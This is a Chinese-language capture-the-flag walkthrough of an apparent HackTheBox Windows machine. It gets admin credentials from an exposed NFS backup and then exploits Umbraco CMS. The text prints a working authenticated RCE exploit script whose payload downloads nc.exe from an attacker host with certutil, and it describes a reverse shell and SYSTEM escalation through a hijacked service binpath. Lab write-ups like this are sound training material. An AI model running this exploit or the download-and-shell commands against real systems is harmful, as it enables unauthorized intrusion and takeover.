目录
简介
这是一个简单的Windows Server 2019靶机,要成功获得SYSTEM权限需要不懈的尝试。通过浏览Web站点发现Umbraco CMS登录入口,然后在2049端口发现NFS服务并发现共享文件夹,在共享文件夹中发现了Umbraco CMS的版本信息、用户名和密码,然后可以登录CMS系统,利用已知的远程代码执行漏洞反弹Shell,通过枚举运行的服务发现不安全的服务权限,最后通过修改服务调用的程序获得SYSTEM权限。
信息收集
使用Nmap扫描目标主机发现目标主机开启21,80,111,135,139和445端口,且操作系统极有可能是Windows Server 2012,如图:
尝试使用匿名用户登录ftp成功,如图:
但是没发现任何文件,访问80端口发现网站中有一些博客,如图:
查看网站的同时扫描web目录,发现一些aspx文件,如图:
然而并没用什么有用的信息,然后继续浏览网站其他功能,点击CONTACT按钮后发现一个Umbraco Forms安装的界面,如图:
点击按钮之后跳转到了登录页面,如图:
尝试常见弱口令无法登录成功,枚举用户名和密码也没成功。使用Google搜索该CMS发现存在用户名枚举、文件上传、远程代码执行和文件包含等漏洞,但需要知道用户名和密码。然后查看Nmap扫描结果发现111端口挂载了NFS服务,使用showmount查看目标主机NFS共享的文件夹,发现存在everyone可访问的/site_backups文件夹,然后将其挂载到本地,如图:
查看site_backups文件夹中的信息,查看Web.conf文件发现Umbraco版本信息、使用的数据库信息和smtp的用户名和密码,如图:
在/site_backups/App_Data下发现Umbraco.sdf文件,SqlServerCe文件,复制到Windows环境中使用CompactView等工具查看无果。然后在site_backups/App_Data/Logs下的UmbracoTraceLog.intranet.txt中发现两个用户成功登录,如图:
然后在UmbracoTraceLog.intranet.txt.2020-02-19中再次发现版本信息,如图:
直接使用记事本打开Umbraco.sdf文件,查找admin@htb.local和ssmith@htb.local,发现有字符串疑似经过SHA1和HMACSHA256算法生成的hash值,如图:
使用在线MD5解密,如图:
然后使用admin@htb.local和baconandcheese登录Umbraco CMS,如图:
漏洞发现
从前面收集到的信息可以发现可以利用远程代码执行漏洞,需要修改payload替换calc.exe为cmd.exe,添加程序参数为/c wget http://10.10.14.216/nc.exe c:windows emp c.exe,然而并未执行成功,使用curl、certutil也都未成功。尝试手工验证漏洞是否存在,访问http://10.10.10.180/umbraco/developer/Xslt/xsltVisualize.aspx,如图:
点击绿色按钮,用BurpSuite截取数据包,添加参数ctl00$body$xsltSelection的值为修改后的payload,添加Console.WriteLine(output)将执行后的结果输出到网页中,如图:
执行之后成功返回执行的结果,如图:
看来漏洞是存在的。
漏洞利用
然后修改Exp如下:
# Exploit Title: Umbraco CMS - Remote Code Execution by authenticated administrators
# Dork: N/A
# Date: 2019-01-13
# Exploit Author: Gregory DRAPERI & Hugo BOUTINON
# Vendor Homepage: http://www.umbraco.com/
# Software Link: https://our.umbraco.com/download/releases
# Version: 7.12.4
# Category: Webapps
# Tested on: Windows IIS
# CVE: N/A
import requests;
from bs4 import BeautifulSoup;
def print_dict(dico):
print(dico.items());
print("Start");
# Execute a calc for the PoC
payload = """<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">
public string xml()
{ string cmd = "/c certutil -urlcache -split -f http://10.10.14.216/nc.exe c:/windows/temp/nc.exe"; System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "cmd.exe"; proc.StartInfo.Arguments = cmd;
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;
proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output;Console.WriteLine(output); }
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
</xsl:template>
</xsl:stylesheet> """;
login = "admin@htb.local";
password="baconandcheese";
host = "http://10.10.10.180";
# Step 1 - Get Main page
s = requests.session()
url_main =host+"/umbraco/";
r1 = s.get(url_main);
print_dict(r1.cookies);
# Step 2 - Process Login
url_login = host+"/umbraco/backoffice/UmbracoApi/Authentication/PostLogin";
loginfo = {"username":login,"password":password};
r2 = s.post(url_login,json=loginfo);
# Step 3 - Go to vulnerable web page
url_xslt = host+"/umbraco/developer/Xslt/xsltVisualize.aspx";
r3 = s.get(url_xslt);
soup = BeautifulSoup(r3.text, 'html.parser');
VIEWSTATE = soup.find(id="__VIEWSTATE")['value'];
VIEWSTATEGENERATOR = soup.find(id="__VIEWSTATEGENERATOR")['value'];
UMBXSRFTOKEN = s.cookies['UMB-XSRF-TOKEN'];
headers = {'UMB-XSRF-TOKEN':UMBXSRFTOKEN};
data = {"__EVENTTARGET":"","__EVENTARGUMENT":"","__VIEWSTATE":VIEWSTATE,"__VIEWSTATEGENERATOR":VIEWSTATEGENERATOR,"ctl00$body$xsltSelection":payload,"ctl00$body$contentPicker$ContentIdValue":"","ctl00$body$visualizeDo":"Visualize+XSLT"};
# Step 4 - Launch the attack
r4 = s.post(url_xslt,data=data,headers=headers);
soup = BeautifulSoup(r4.text, 'html.parser');
print(soup.find(id="result"))
print("End");
使用python3开启80端口的监听,运行脚本后命令执行成功,成功将nc.exe上传到目标主机c:windows emp下,如图:
然后在本地开启4444端口监听,修改payload中的参数,如图:
执行脚本之后成功获得反弹的Shell,如图:
权限提升
查看操作系统信息发现是Windows Server 2019 x64,且安装了5个补丁,暂且不考虑内核漏洞提权了,如图:
然后查看当前用户的权限,如图
由于JuicyPotato没有Windows Server 2019的CLSID,因此无法利用其提权。使用wmic service where started=true get name, startname查看启动的服务,如图:
然后使用sc命令枚举存在缺陷的服务,发现UsoSvc服务可以被当前用户控制,尝试修改binpath属性的值为反弹Shell的脚本,然后启动服务发生错误,如图:
尝试直接调用nc.exe进行反弹Shell发现成功启动服务依旧出现错误,但反弹Shell的命令被执行之后立即中断了,如图:
然后使用MSF生成反弹Shell的exe文件,如图:
上传执行之后依旧报错,但监听的端口成功获得SYSTEM权限的Shell,如图:
总结
总的来说该靶机非常简单,但依旧会花费很多时间,也可能会在一些地方找不到思路。首先,有些人可能容易找不到CMS系统的用户名和密码,读取sdf文件的数据花了点时间,没想到可以使用最简单的方法查看到文件中有效的内容。其次就是提权需要大量枚举,一定要坚持下去。